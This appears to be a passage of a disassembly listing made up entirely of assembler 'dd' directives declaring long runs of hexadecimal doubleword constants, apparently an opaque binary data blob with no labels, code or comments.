		dd 25BAFC00h, 53EA36DCh, 149E15h, 0DB51A909h, 0A0B2C137h
		dd 9AEE5EB0h, 6500CCF4h, 2CA3F34Ch, 0BFA73E5h, 747060BDh
		dd 9DCD4800h, 191307C5h, 0C0BC9EA7h, 0EFCBA200h, 0EC90B21Bh
		dd 54F4534Bh, 1E71F6B5h, 89DE2BFEh, 30747BEAh, 5DA950h
		dd 0FA859F3h, 93436610h, 0C936BE00h, 9A0E609Eh,	6F482514h
		dd 0D284D881h, 194AF0CEh, 13179700h, 0DDB15D4Dh, 7DE8007Fh
		dd 3AB4B8A8h, 3907D2C2h, 55E33A4h, 0CC12BEF0h, 0E2870010h
		dd 7A4F5099h, 0FF133645h, 58E8A91Bh, 0D7583916h, 45C970C4h
		dd 50900299h, 0DCB2A701h, 3C4BAC06h, 76D5B70h, 0D2D117FDh
		dd 13AB0071h, 0D000743Ah, 8FE84E40h, 3C6DD99h, 5B5D10F6h
		dd 17D8A5C7h, 1900C1D2h, 0EF1A388Ch, 58D56Fh, 8AD7C0B7h
		dd 4F9A2461h, 0DDD2B913h, 1F6558B0h, 80191A64h,	9F44572Eh
		dd 144FA2B2h, 0D1BF0h, 2F657C36h, 337BF99Dh, 672EAD01h
		dd 328F3BC0h, 0D5EE140h, 819F006Bh, 29AA2F39h, 4801AF80h
		dd 0EB157471h, 0CC7C4DEEh, 0BF935338h, 21C0B9F4h, 17127E63h
		dd 84E87467h, 33D3724h,	0B37D84C6h, 0CE317100h,	4E33E07h
		dd 0E51F125Fh, 379C0019h, 380E26E4h, 7E84C715h,	40CF2018h
		dd 0BB7440EBh, 4D1F5900h, 0D2D8F05h, 35BD0032h,	0E0727AF6h
		dd 70C03A84h, 13800C55h, 4BA60030h, 8C835DF2h, 34090DA7h
		dd 0DCD2C38Eh, 4076098h, 300229Dh, 232C197Ah, 5FE4D3h
		dd 83E8F046h, 4EFFB6F8h, 6B008277h, 69FEDB0Fh, 0A1B2BCE3h
		dd 0B302A054h, 0E0B606h, 0E4733A5Bh, 0DDC70FEBh, 400D0200h
		dd 1386BBBDh, 0BA0900FEh, 0B9E3DF73h, 3E01014Ch, 569094D0h
		dd 16F877E4h, 956000C9h, 51385D5Fh, 0AE064B05h,	0B49F291Ch
		dd 0ADC10079h, 9EF79135h, 31061B94h, 30C65E03h,	61AE3B21h
		dd 10E250BEh, 0C8268B3h, 0C815C9h, 1600F349h, 2C51B966h
		dd 0DB0AD4h, 40D891Fh, 1CFDD541h, 6014AE25h, 0E4F5E946h
		dd 8EEF1508h, 7CA0BCh
		dd 0DE95D799h, 0D8C9CA2Fh, 0FB5DD107h, 9620A138h, 402CBBh
		dd 468E7612h, 416CE7BDh, 69798400h, 1525BCDBh, 74A4EE98h
		dd 0E45D0001h, 0BB92057Ch, 1760C8B9h, 3A971BA9h, 6DC1006Fh
		dd 49EBCFF1h, 7401FA31h, 5141288Fh, 0C2CC9982h,	189B01CCh
		dd 67BE0F6Dh, 68418007h, 86D7E975h, 36B20CA0h, 44C1C0ECh
		dd 56699300h, 7E3C8F4h,	1529E45Ch, 98C2A063h, 0D6A42100h
		dd 0EC62EA16h, 0F44A9507h, 1D30CDBEh, 90B8BBB2h, 0C0A0303Ch
		dd 0A2761731h, 0D468B400h, 69290DE6h, 0A91721Ch, 44248E4Eh
		dd 0FFB00680h, 0BE003074h, 0AEB64D65h, 0B354DFh, 1C401D07h
		dd 6DE8C41Bh, 0ED6AC900h, 0D7D8BFAFh, 7F980082h, 390A7EE7h
		dd 28C01D24h, 80D6D3A4h, 1F090B9h, 0D46CD145h, 80733EB3h
		dd 0BEAFBB20h, 0E80B98Ch, 9740E0F7h, 490FB780h,	41076AFFh
		dd 92FFB9Fh, 0E0F31657h, 88A33Ch, 83371F08h, 182FD91Bh
		dd 0AD0030DDh, 0DBD8C727h, 0B85200A7h, 4972641h, 0E105250Fh
		dd 0D7050EB7h, 0DE1689C1h, 0BAFD1080h, 622B99F5h, 0AFA4B801h
		dd 68B93A17h, 7B14908Ah, 0FE680EEh, 30DCC8C4h, 84BC1528h
		dd 80822F3Dh, 77FE7DE4h, 7EA7BCCh, 16AFB3Ch, 0DBAC4F69h
		dd 7146E711h, 0CD65ED02h, 0F420C9C7h, 0D078CF68h, 60688C41h
		dd 621DC104h, 0A2108C23h, 131931h, 499D7E2Dh, 43EE9AECh
		dd 15841E0Fh, 0A81DC6ABh, 0B5EB0F41h, 62EF559Ch, 98B83A60h
		dd 3D05FB29h, 0BCE2B244h, 838E340Eh, 27A474h, 0F7C33C11h
		dd 0D8D7A5F2h, 99DBF33h, 5C210038h, 0AFC6F7CBh,	0B0601D55h
		dd 0E4D2549h, 0C02B01EDh, 317ECD8Ah, 0AF3E70A1h, 5F70DF00h
		dd 4CB37772h, 3D0A18F4h, 2EA239A5h, 0C3F159C0h,	2B55F75h
		dd 1AC097A3h, 0DE00564h, 0EA15C4B1h, 8C1704h, 75796DFBh
		dd 19E07090h, 8789828h,	0D8219F07h, 0A9A7981h, 69B9AE36h
		dd 210D0618h, 35005FC2h, 494CC3C8h, 985963h, 66D8A8B2h
		dd 9A237DF4h, 0FE47B13h, 33772F02h, 41C8AFB7h, 3DBEE7F0h
		dd 70174020h, 0DF08CC45h, 0E9007721h, 0E5DCC4E7h, 0FA86D0F0h
		dd 0B030222Eh, 0F15F3101h, 81840A73h, 0C21DF360h, 503F3DC6h
		dd 4115CCA7h, 0C4246805h, 5C489137h, 0C92630B0h, 0ECCB1D21h
		dd 0DB11C0C0h, 436C5674h, 1906090h, 3F7C09D0h, 0D560AFBh
		dd 73618012h, 80F0CE61h, 0A54B0041h, 203CC2D5h,	773531A7h
		dd 0C6F891Ch, 905250Ch,	42003669h, 0AC339A01h, 0FA94DEh
		dd 0EE6FBFE2h, 0B3A76BCBh, 26DF1D14h, 1C8236Ch,	436D5675h
		dd 89B11870h, 0C956F8FAh, 4470E70Fh, 96D5E0ECh,	242BA5BFh
		dd 0A0706294h, 17346E0h, 3DBAE814h, 0DE0C4838h,	17ED7B88h
		dd 4CD0E7h, 0C0EE65EBh,	1018D14h, 0BBFD83C3h, 0F18F30A2h
		dd 2019A58h, 0C876B190h, 0EF0A6A6Eh, 0F89B2BBDh, 223CB341h
		dd 8A2431BEh, 2A6367ECh, 2C63F7Ch, 43A15681h, 10AC3190h
		dd 75679FEh, 29D2468Dh,	613716A4h, 6BDED603h, 0A836B4B0h
		dd 1D80E2h, 944D1420h, 0C86E9619h, 494E770Fh, 51A7ACBEh
		dd 9BE900C5h, 0A6E8AFFDh, 2650D7FEh, 0A83F1A87h, 0A9A49C1Eh
		dd 0C43AB975h, 0DE000323h, 0A5493E77h, 260C001Fh, 0D69B07E1h
		dd 45300A23h, 0ABA489BDh, 1F39C318h, 8F94B31Dh,	0C0AF880Ch
		dd 5A8A4E2h, 440A51C5h,	2FA2A021h, 0CF979850h, 7B5800C6h
		dd 6643108Eh, 39164A98h, 5808EE1Fh, 49F4BFA3h, 0BD80846Ah
		dd 0A7A614F7h, 6239448Ch, 85F7C51Ch, 0AA3B0B02h, 0E06E1Ch
		dd 0D62BD53Ch, 611E5730h, 33C77702h, 4120F29Bh,	750C34C0h
		dd 0F7C0048Ch, 62CFA5F1h, 0C85D2040h, 0C2A0ADF7h, 0D501D130h
		dd 19BAD751h, 88249531h, 0EE3B00A4h, 81F782A5h,	0F2156ABBh
		dd 941505h, 2AFB5910h, 71BA58Fh, 56FFB57Dh, 9C45406Eh
		dd 42F92B06h, 0D802F390h, 18691119h, 15F709BCh,	149CAFA6h
		dd 0F7086973h, 800E05D2h, 3D01AC9h, 0CD028094h,	1B1368CFh
		dd 2713C0D8h, 18F748E1h, 22A83A84h, 8D5C8FAEh, 42F0E12Eh
		dd 31E760E1h, 0E4289A1Fh, 0B8D82000h, 0AC040E19h, 0C55730A9h
		dd 4F312338h, 0B8A0747Ah, 0A5061F7Ch, 92CAA941h, 9A4E240h
		dd 0B230B71Bh, 140EDC20h, 180740FBh, 6E29F0DEh,	7E1F0D60h
		dd 0CB6C099Fh, 1090A366h, 8B005F07h, 28062003h,	19F625Dh
		dd 0E82BAE84h, 8F2DA3A4h, 40FFEE29h, 0D885310Ch, 1C3A00ADh
		dd 0BF99ED96h, 74000B2Eh, 7D8B2FB5h, 0A12A6CC1h, 0F01966B8h
		dd 0A523F0F7h, 93311C7h, 80F7C966h, 0B6F60986h,	0D818482Ch
		dd 2FAE1A12h, 423E8h, 0A5A49B37h, 8C442DBh, 88555D3h, 47D2888h
		dd 1D229EB8h, 7BDC98C2h, 43A35609h, 6C9CA0h, 5E5673FCh
		dd 0B36E46BEh, 0A1D3822h, 0DEF69714h, 32465C7Ch, 89122C01h
		dd 892342B3h, 2F902B19h, 0A69E1800h, 2920E8A9h,	158C61Dh
		dd 439F567Fh, 88D61880h, 0D0C077F8h, 9A0D1EB7h,	57DE054Eh
		dd 0C80616CAh, 9079BA44h, 0CBBC2700h, 0CD769879h, 81C9000Ah
		dd 86B74C87h, 2B19C5B8h, 1D91AD8Dh, 16386432h, 0F0FD2500h
		dd 0FF15C22Ah, 0EC03C7B0h, 60025007h, 7604B84Dh, 0EA7A7Bh
		dd 634F4CA4h, 0D29072EFh, 83B8A51Dh, 0EBA864Bh,	346FF601h
		dd 9FF0CE00h, 0A4A20C75h, 467C1894h, 8C930E39h,	12E9F830h
		dd 922400FBh, 8EA5FADAh, 8A58E539h, 22044CB0h, 0AE30300Ah
		dd 42CE8F31h, 0A01A9900h, 0D38E4B24h, 6C6400B1h, 0A4123B07h
		dd 0C000FE3Ch, 0B0EC2302h, 0B21B73h, 3AF6B394h,	0EDBC0C12h
		dd 0C9C4AD3Fh, 79A38078h, 8C40907Bh, 38D2FF44h,	0E500796Bh
		dd 2375888Eh, 36084929h, 83BB330Ah, 0DC94AEB7h,	0A33089BEh
		dd 0C9EAF936h, 0B01F1D5Eh, 0E16B0049h, 0D1B65045h, 0ACE9710Eh
		dd 0AB1D6691h, 3F0F0049h, 80ED2767h, 0E77B8DAFh, 3E88E31Ch
		dd 1A061D40h, 0C0BD307Eh, 18CD4379h, 0A54C8B49h, 27EF0478h
		dd 7CD7F3A9h, 0A7ABF711h, 2009A862h, 703722A4h,	0EB40271Fh
		dd 8A678BAAh, 88FC08EEh, 98800C05h, 0DAA15CB5h,	0C5710E55h
		dd 0B241A4CFh, 55EC0196h, 94B805E8h, 6DC8CC34h,	0E7F2048Ch
		dd 62E83DC0h, 0EB8521E1h, 0A73A20E7h, 5F30F500h, 89664233h
		dd 0B107E2A5h, 15A69100h, 0C025A2h, 39CADAF0h, 0C82FE72h
		dd 0B9304BF1h, 0C704E759h, 7D9A679Bh, 2EDAF8CCh, 2974BAC5h
		dd 18077914h, 60229848h, 37EE89BEh, 0F829F34Bh,	6AB0DC7Ch
		dd 0FA4996Ch, 76D19881h, 6A980373h, 1DA17E15h, 2B9210D7h
		dd 39A96193h, 0F0C753A4h, 530EB65h, 0A1E37911h,	21200E06h
		dd 4B775D7h, 0E53C670Eh, 0F783020h, 948C5401h, 0D45CAFA8h
		dd 604D5424h, 995D69C4h, 0F037DF9h, 0CC7C8F1Fh,	0D09BAFh
		dd 58F47F29h, 0F740A99Ah, 0BEE6AE00h, 0BB2F5127h, 837C91A5h
		dd 1BAFBF0Fh, 207D7EA1h, 8340E4E8h, 9B7C0564h, 88061707h
		dd 0DF0425D8h, 0A56A1A55h, 0E5C04C9Bh, 9A5F28C2h, 0DF083D01h
		dd 922B8135h, 204D3032h, 0A4B82080h, 2B149E1Eh,	58B8061Fh
		dd 5BB00670h, 959A91Dh,	74937637h, 0C8675429h, 0BF0D3006h
		dd 0CF831210h, 142F0E40h, 64721560h, 0AC1C4B97h, 17C15A98h
		dd 0ADE0EEB4h, 6A6FC4h,	2F336B86h, 0FEFA2DC9h, 0CF00DDE4h
		dd 34B732D6h, 0F8119E14h, 0B5281F58h, 0CD83008Ch, 7CC7ED06h
		dd 0C3D03E0Eh, 7ACC013h, 1EC0F2A8h, 0C3EFD51Bh,	847DD720h
		dd 3B136588h, 2E8CA407h, 6040A248h, 0F6700347h,	0A580062h
		dd 599AEDA6h, 92008EB1h, 81311C49h, 3F01EFC9h, 76009189h
		dd 0AFCE03C4h
		dd 0D6FC3347h, 6A457D00h, 6D797873h, 0DB870075h, 0ABB34943h
		dd 2BEE0BA6h, 3176AA00h, 9AEC3EACh, 49230086h, 443899A1h
		dd 1E000629h, 0BF4FC2E2h, 1AFB877h, 0C00B72E0h,	0CC25FFF7h
		dd 0AD00348Bh, 0C6936F7Fh, 8CC779h, 9FD81E35h, 0AEC91338h
		dd 0A5837500h, 2DF9E92Bh, 1D43C4Eh, 3843860Bh, 0E25B5048h
		dd 88538400h, 0C3CAE7CFh, 275707B4h, 30D5B8D9h,	1F54130Ch
		dd 0BD8CC800h, 988D518Bh, 92BC0259h, 15B7445Ah,	0A4E40CE4h
		dd 2CD6D906h, 6E082F7h,	6FB1CD77h, 0F30F401Eh, 761BB63h
		dd 1DF0D7DCh, 714A52F5h, 594F00DEh, 0BB7F26B3h,	0D0C78769h
		dd 6E081E9h, 7EA60D8h, 77D5BDF8h, 647CA038h, 6090AE4Dh
		dd 1AC73501h, 2395D75Ch, 8E156880h, 22ED1FC3h, 0E76D10C0h
		dd 0E40DA6FEh, 1B0E00F4h, 0DD355FFCh, 0D8FAEACCh, 0FF3F53F2h
		dd 6C1D80E7h, 0AC90603Eh, 693A1E75h, 9F39477Dh,	0C041B0CEh
		dd 51009887h, 0F928B804h, 5AC3F0h, 0C837DF0Fh, 0F48F2197h
		dd 7788BD00h, 5D853F31h, 0CE38165Bh, 0E4371F92h, 8AD5808Ch
		dd 0E1064C9Dh, 0A8F36230h, 3BC3D6h, 2D18366h, 347ACBF1h
		dd 22176172h, 6700A5CEh, 1444DEC0h, 9F2400C4h, 756A057h
		dd 0BE0239CFh, 0C6F1FA63h, 0C548AE58h, 0D4005B2Eh, 4CDA3DC4h
		dd 6E02078Fh, 19D00C5Eh, 2B0B0423h, 40833699h, 5F87BABCh
		dd 79447A54h, 0C8FB3B00h, 39A4D09Fh, 0B99E3DF4h, 0BD2DEB00h
		dd 0CC0BF3C7h, 5202D67Ch, 741ED036h, 692440B5h,	0F1451E48h
		dd 293C44BCh, 1C80B00Bh, 61B5607h, 717026B1h, 0E278CA6h
		dd 0D9A0D321h, 20013EE0h, 33907656h, 7E2ECA00h,	0CC29BDC2h
		dd 92620305h, 86978A1Dh, 9481BBC8h, 5AA4AB00h, 0C2BABD75h
		dd 0CD3B3B33h, 0D4302A01h, 0C429468Dh, 18006DBFh, 0BC0BC6EEh
		dd 0FE70810h, 0B2FA1B47h, 0A95B28A0h, 0B8074102h, 4365A3A8h
		dd 0E7AFDFC0h, 0BEF39F8h, 3CBC000h, 0D29497D6h,	40870E07h
		dd 4C202F02h, 0C501148h, 6605D51Fh, 727A0C19h, 80AAF900h
		dd 717641FDh, 3E6A0095h, 4530CD49h, 0BF00EAFAh,	74EC5C34h
		dd 306FDCB8h, 0E941692Ch, 2E003570h, 0F461B0FFh, 3CB846B4h
		dd 740017C7h, 0EDAE4FAh, 6D7AB5CEh, 0C5000A7Bh,	0CAB723EDh
		dd 18D91EF4h, 0F9BABBBFh, 0BE0005D8h, 0AC7D2437h, 0BA33DD30h
		dd 3E990078h, 0D4B51AE2h, 0BC0092EEh, 0DCFD6FB2h, 5093ECh
		dd 3052AC02h, 0F8F04A08h, 65B1DF00h, 6D299EA2h,	0DDE60142h
		dd 4D52C525h, 6982F8A9h, 7B5D9600h, 0E9350D91h,	0B140EB8Bh
		dd 72E0E04h, 5C63628Eh,	1C88236h, 39D3CC8h, 87EE6509h
		dd 5208089h, 0DC5B64h, 0E4FED5C5h, 8010A58Eh, 43A78F09h
		dd 0C2C80C1h, 0E760B41h, 88348335h, 7D42B1A0h, 407D36E8h
		dd 193F6D00h, 48718ECCh, 185D008Dh, 0C9233597h,	5B00347Eh
		dd 93B5587Bh, 97577BDh,	0AFEC02CCh, 0D247D420h,	0E6B8C604h
		dd 0CB074A00h, 0BFFFC887h, 76420FDFh, 56805FB8h, 2A7B6ABDh
		dd 33A30D00h, 44433194h, 0AFE82825h, 62B803FBh,	2CE45019h
		dd 85AC111Fh, 698B4Fh, 24E802DBh, 100103E2h, 0FAAA433Fh
		dd 1797A0B7h, 0B6001BB2h, 2A8280D7h, 2568555h, 57F8B1C8h
		dd 0FC80BF72h, 7C23CBAAh, 95A87101h, 18361B3h, 14FD30h
		dd 320604F1h, 0A49673B5h, 0DC35420Ah, 0A800D8E0h, 4675B729h
		dd 32567D3Bh, 0D9ECFB96h, 0D4A78841h, 63009A5Eh, 0FC2CD8D3h
		dd 908B7E44h, 60920Ch, 0FA51F29Bh, 11D9A2ABh, 5C1EE500h
		dd 8560F730h, 8544CF6h,	589A2D0Fh, 0C1AC14E0h, 7A008219h
		dd 0F502FB2Ah, 3D45EBh,	0DA946A96h, 79E73A15h, 0ACB9B82Eh
		dd 0D140B700h, 0A3ADF1h, 0B64884E4h, 0B38FE555h, 0DA085801h
		dd 0A18D28D0h, 3D11C2CCh, 0A2011E27h, 62995CF9h, 5960D0DEh
		dd 6B5A8F03h, 0D0546C58h, 0EED150h, 0FA53FC22h,	72944070h
		dd 0A03B9C25h, 150CFDD0h, 0FF5900FCh, 7E9CAD7h,	0F801DEE3h
		dd 0F9D5AA10h, 5D4B7DBh, 0C1BF00E4h, 0BA07EC0Dh, 1C07F31Eh
		dd 1AC0A713h, 21C9A4F0h, 906D0770h, 0E4DD3A25h,	1D9600C4h
		dd 10FA3BFh, 0F74840D8h, 8C79989Ch, 10284280h, 5813EB95h
		dd 0CF2466C0h, 5E173Fh,	0BC0E967Eh, 74F29A6h, 3DE1A921h
		dd 6EB3C16Ch, 0E0EC31EFh, 980C48E0h, 0D928DFB8h, 1096007Ah
		dd 0D817A5BFh, 13006224h, 0C548D02Fh, 2C9D9E3Dh, 80E8B855h
		dd 92287E37h, 8030DFC8h, 9072488Eh, 0E23A2A1Ah,	0BEFA0064h
		dd 17D8E7A3h, 0BD3E5B06h, 0F14700B6h, 0E2A69A52h, 54271DBCh
		dd 7805C0C3h, 0B360E82Ch, 0CEF77700h, 0E9AF7F52h, 0C09400E5h
		dd 0CBCD43CCh, 380A7BF9h, 0A95F48A6h, 442DEC02h, 0A083E3CFh
		dd 1D64EAD9h, 83BDD3B8h, 804C02Fh, 3E5D9107h, 5230BCDBh
		dd 3D28E4FCh, 0AB80C58Bh, 20C6B80Ah, 0BCA3A2h, 0B39C5380h
		dd 7BDF5DF8h, 0F0B3CF6h, 83CBBA00h, 0A2719B88h,	0E23B5F00h
		dd 1CBC9E1Eh, 9051E730h, 0F92088B6h, 0AB6300F7h, 8D110381h
		dd 3A00D0ACh, 79A3613h,	0C1320A51h, 0AF92C431h,	43BF0FDh
		dd 39F56E00h, 9C2BAB17h, 45C2004Dh, 2F5AAE84h, 9801750Fh
		dd 43B64F07h, 0D2C03BBAh, 32791E45h, 2BE7C556h,	2198E292h
		dd 389D0042h, 102D5F50h, 2BD63D02h, 0D73FFD62h,	1D85FC60h
		dd 533839EAh, 0ABC3851Bh, 9C4E16AFh, 2425409Bh,	33F90C6h
		dd 3B12EA4Dh, 112BE3A7h, 0B9C104E0h, 1081588Bh,	29ECEE01h
		dd 0A333E80Fh, 5D72F800h, 0D2899ACDh, 4B2D0036h, 0EC420313h
		dd 0D600F281h, 3FA9C16Bh, 17A1F6B2h, 7221804h, 0C96052h
		dd 0D2099D65h, 811E0B1Fh, 0E0B0460Fh, 2AB4522Ch, 10E50008h
		dd 0F448C02Bh, 0AB0079EAh, 0A561D9BEh, 0ED346Ah, 180B2D27h
		dd 0F6F2B116h, 9EFC2E1Fh, 1C0AA01h, 0F9E0A7C3h,	0C1E0037h
		dd 4A85E03h, 0F0003A4Eh, 95EF8643h, 1E876BB6h, 83EBD11Bh
		dd 8D754452h, 0AE857C98h, 968F9201h, 2FBEA3A7h,	0E45598D0h
		dd 35F40FBFh, 5F4CD733h, 0DB0EAD88h, 208C9ABDh,	695DDDC2h
		dd 37F51F95h, 5B750045h, 26533D14h, 108331Dh, 54EF68C1h
		dd 4081911Bh, 4ECB4799h, 0EA43FC15h, 46ABAF05h,	91037923h
		dd 0C88BB086h, 3FC16Ah,	597C191Dh, 3DC3048Ah, 8DAAA600h
		dd 9171A28h, 0DC5F5496h, 0ACB70046h, 15848FCCh,	970001B6h
		dd 1F5ED014h, 1E0363C5h, 0C1C283CFh, 17D118F7h,	39D9F37Fh
		dd 0FF3FECF3h, 0B1220C3Bh, 61152107h, 4C035ECh,	6DC2A745h
		dd 50109091h, 0F50D1F7Eh, 0A0B23782h, 2D04C0h, 300F1706h
		dd 9236EDBh, 7368900h, 0FFC371B4h, 80E30C11h, 23C89DA7h
		dd 0BF60EB0Bh, 0E8C600CFh, 9F3875h, 0E3CA10B7h,	64875EA1h
		dd 0F6F40107h, 0C270954Fh, 778C06h, 0A7E5BB05h,	7C56FEAEh
		dd 454BA000h, 92DEA8E4h, 467F1FF9h, 0C09F1C93h,	0C241A9EAh
		dd 9C001314h, 27F09403h, 72EF5507h, 8640328h, 191A2957h
		dd 4697D090h, 501CAC03h, 8154E3F8h, 6BC0FFE9h, 85C9008Eh
		dd 0E79AC8C0h, 5B00A281h, 7D7BEA23h, 5578C1DDh,	4FF0C441h
		dd 0B62F3B72h, 997EC580h, 0DA35BAB5h, 0D11A3600h, 27F6C15Ah
		dd 81200075h, 5947A104h, 0B00069F8h, 0D5D44421h, 0F55023h
		dd 5A88BB13h, 185829EEh, 0DD070C00h, 4E0A1B2h, 839D2602h
		dd 0DF8C0335h, 919372C8h, 4A3456D0h, 0B8ABF93Dh, 6B570089h
		dd 23D6F108h, 1791020Bh, 40A279DAh, 0B287FC80h,	13E66B8Ch
		dd 0D0ACAB2Fh, 0A6DA3110h, 0D44D52E0h, 0FA030536h, 8FE2BCC7h
		dd 38E9217Ah, 0F6F94703h
		dd 0ABFB80BFh, 0C5763E2Eh, 0BDFA4A80h, 0F3DD28A5h, 0C2DAC03h
		dd 0A8D4B616h, 904A18C4h, 0FC3205CCh, 804CA2EAh, 0F50B3CCBh
		dd 3646E00Fh, 0D16E8Fh,	6E0DE7B9h, 12107482h, 0F5E59Ah
		dd 0AFCD8A50h, 0D5009296h, 0A8F0F201h, 91E3F7h,	0DA09B09Eh
		dd 655C67E7h, 21B81877h, 50FAB9C0h, 0B02D98h, 0C949E855h
		dd 0C44A5D79h, 0D4537C06h, 0C1473Dh, 377AEACBh,	3C2D6FB0h
		dd 0ADD10A00h, 17F5B549h, 994C073Ah, 709AD23Fh,	7E1CFCC7h
		dd 49F29B72h, 0E88A9500h, 3CF54704h, 0DACA00FEh, 25E32ABFh
		dd 0B3006FDDh, 66271F26h, 7AD26347h, 0CD100139h, 0B6D8A7A1h
		dd 6530F4FEh, 0A9479600h, 0AAC13470h, 0F9B30038h, 0BC687893h
		dd 0BB07DE71h, 0A03533Ch, 0EA9B07E0h, 0F8740009h, 8EDA5A6Dh
		dd 0A53CD0B4h, 0A9F58057h, 0F07C9AAEh, 34D260C9h, 0EC6A7904h
		dd 0DF012E14h, 98780090h, 9AA66CD0h, 1B4600A3h,	0B16762CBh
		dd 7F00F42Dh, 2F0EE8E5h, 0E07D50C1h, 107C0Fh, 0D1958165h
		dd 0DD716ECEh, 759A7A00h, 0E1369154h, 7BCD00A5h, 6AC91F15h
		dd 4101B565h, 0C20DD71Ch, 0CC508DA1h, 0FE573Ah,	439677EBh
		dd 199DB126h, 820B003h,	0A79C44A8h, 0D3D1A070h,	0CA7200DBh
		dd 1855FBA6h, 7E00DF82h, 8428ADA1h, 882573h, 0F5C5AA60h
		dd 24097C7Dh, 999D7F01h, 8084BAF3h, 138F97FCh, 5C7A23h
		dd 7267F9C8h, 0FCA0F062h, 0AA7253A6h, 783E2226h, 8D666E07h
		dd 42F0BF97h, 7C3085F7h, 8606006Ch, 0A76AC2F0h,	4E21776h
		dd 0C4476807h, 0C20EFC4Dh, 8038ECF9h, 865A4597h, 0B02B12DDh
		dd 1D4D0144h, 0DC93B4F4h, 0DB002328h, 64CE8837h, 1E4C773h
		dd 0DEB92D13h, 40DFA374h, 47CA62B1h, 0A5887D00h, 0E98F944Ah
		dd 0C952000Bh, 17BBF358h, 680B5CFCh, 721EB95h, 0E130C4AFh
		dd 2E71DAh, 0E2A9303Eh,	1416267Ch, 0C22AB00Fh, 3931E0BFh
		dd 73094756h, 0F7E50045h, 0E0BE38F4h, 0E317F2DDh, 6714C77Fh
		dd 0DAA81800h, 91734A8h, 64FF3AD5h, 0E60E48Fh, 69AE4D20h
		dd 8A17300h, 398944CAh,	63740041h, 0A696B84Bh, 5A097FDDh
		dd 37867Eh, 0E185829Ch,	0F66C24ACh, 746981A0h, 0EC6127D0h
		dd 560FB494h, 218DC1h, 0E0352E42h, 5D760029h, 31D2D658h
		dd 280ED9BDh, 0A55A4DB9h, 64D0437Dh, 121FCA5Dh,	43BA8BBh
		dd 0D77CDB8Ch, 0FE400FC0h, 6C4FADC5h, 0B50139h,	85BD3DFBh
		dd 0C2444Bh, 0D5214C6Eh, 0DCE948A1h, 0F1309A00h, 0EE3192E4h
		dd 0C00900F7h, 0A4BFF5B4h, 0C7ECFB03h, 7872C933h, 0C184DBC4h
		dd 853CC1Eh, 9603E0CFh,	30B4BA3Bh, 0CEA959A4h, 0D31D84D7h
		dd 0CC00A7C4h, 0F9FF0DA0h, 0CF89000Fh, 3A27C0C2h, 0FB0081F2h
		dd 0E94CCAF6h, 1D2A4030h, 0C0C2347Ah, 59FA13B3h, 2750C890h
		dd 0AA00C930h, 0F04C26D2h, 0F10B96h, 0F5A8971Dh, 0F96C8F87h
		dd 2039796Eh, 56BF9B7Ch, 49B87EB6h, 6314C8D7h, 0A63058D6h
		dd 69483C68h, 3F9DD400h, 0A3AD1A9Bh, 63C4003Dh,	6E66C517h
		dd 90EC5226h, 0DD603Ch,	2AB97CEEh, 0FDCD35h, 0CEDC5E22h
		dd 976A1E2Dh, 8EE51300h, 7EFB0AD7h, 6ECC0055h, 747F0DD4h
		dd 8C0263DBh, 0E324E093h, 805051A4h, 0EDAD51B1h, 0A91DBE76h
		dd 0DE1E71B8h, 0D745C3C0h, 0F8C072B2h, 3707CA4h, 3374A69Dh
		dd 44E0A3ACh, 9E74E59Fh, 0C310DB60h, 0E0C01BA8h, 67F800D6h
		dd 90504179h, 0AC00DB0Ch, 0EDA34564h, 0FB3BF74h, 0AB337EA9h
		dd 0AE15011Fh, 0ECC2709Dh, 0DAE8710Dh, 0C36DAC07h, 40CFB273h
		dd 3883ED74h, 6CA73CE0h, 62A6D885h, 4641171h, 0FB0CEAEBh
		dd 3A108F13h, 0F75CFDF8h, 0C0708E0Ch, 7A198B92h, 11D333F9h
		dd 21016B09h, 0C092CF50h, 806A0897h, 0D0DA8718h, 90511961h
		dd 69805148h, 81D1A211h, 7B00AB50h, 0F4BC0F14h,	752CA76h
		dd 0D8FA3FCDh, 90489799h, 9414266Bh, 463B8402h,	9D3FDC57h
		dd 80691150h, 9EB67771h, 4870180Bh, 56469142h, 8F7FE8FDh
		dd 0CB0CC0EDh, 80A24907h, 35C07C98h, 0B911E1h, 92726AA0h
		dd 0BB9FE04Eh, 0E800DF4Bh, 4735E3ABh, 0ED51C052h, 0C4DCD37Ah
		dd 0CCB86F63h, 0F4083097h, 0D3831831h, 735E641Fh, 4AE50B80h
		dd 11A4225h, 4DE197BDh,	503AB891h, 14BA9F9Ch, 0C1A83C00h
		dd 19C0A4B7h, 0C08BE8B4h, 15027A21h, 801B283Bh,	0A8A06E2Ah
		dd 5A1736h, 2D3E31DBh, 25D09079h, 4DD440h, 0B4FA29C0h
		dd 599B2C56h, 8646333h,	0A32100BCh, 93B0FA61h, 0A1E2966h
		dd 74C06ED7h, 90BAECE2h, 55CCA0DBh, 0CD39C3A6h,	91069F25h
		dd 7476C840h, 16150D88h, 0F3D8D795h, 0D18E210Ch, 0C8069CCh
		dd 0BB2CBC99h, 1E0CCD50h, 0B0ADD8CFh, 2B048CCAh, 3C56BAFAh
		dd 0A127C462h, 565FFA90h, 4F7E02EDh, 0EE4897C9h, 0FA91D09Fh
		dd 2585180h, 683A9B6Ch,	8D944867h, 0CEE00917h, 0BED90052h
		dd 0FF9BD8F7h, 15F8E5A8h, 0D01EA4A3h, 0C3D852C6h, 619F3A20h
		dd 103538ABh, 0D22082B6h, 4399A11Ah, 45F3E778h,	0C83EA076h
		dd 0A0A25056h, 0F0DD3961h, 0A90CBC20h, 81BF38CAh, 185674E1h
		dd 20EB82E6h, 5E00AFDFh, 0D068E9D6h, 0A1ACFFC7h, 2F18F6A4h
		dd 56B6FA04h, 0C6329A1Ch, 0FA279520h, 0E0F5001Ah, 0EF6CE21Eh
		dd 0CD52D38Ch, 131B1FD8h, 4618C8D0h, 31E0194Fh,	32D8A83Dh
		dd 8028B84Ch, 3CF4790Ch, 0CA30C3B7h, 8958487h, 86C061C8h
		dd 46C4D0D3h, 7CFE228Fh, 0E3D3030Ch, 8E2AC2ADh,	6114D8B3h
		dd 80CC1ACDh, 7952C433h, 40A8A2A1h, 86FBBF10h, 7D92DD04h
		dd 6662AA19h, 92F55620h, 18727D90h, 19965447h, 7C31EC99h
		dd 9F97C0D1h, 56D479A0h, 3D1CACCCh, 0C56C8FAh, 9743BFC4h
		dd 0BAE9FA35h, 5087CF96h, 2D30B645h, 0C18CB937h, 61660760h
		dd 35D801CAh, 7701E1A5h, 6452C4A6h, 9C9B8428h, 79022646h
		dd 67C4DDD3h, 0F003467h, 3E75D382h, 36200188h, 0A89F83A6h
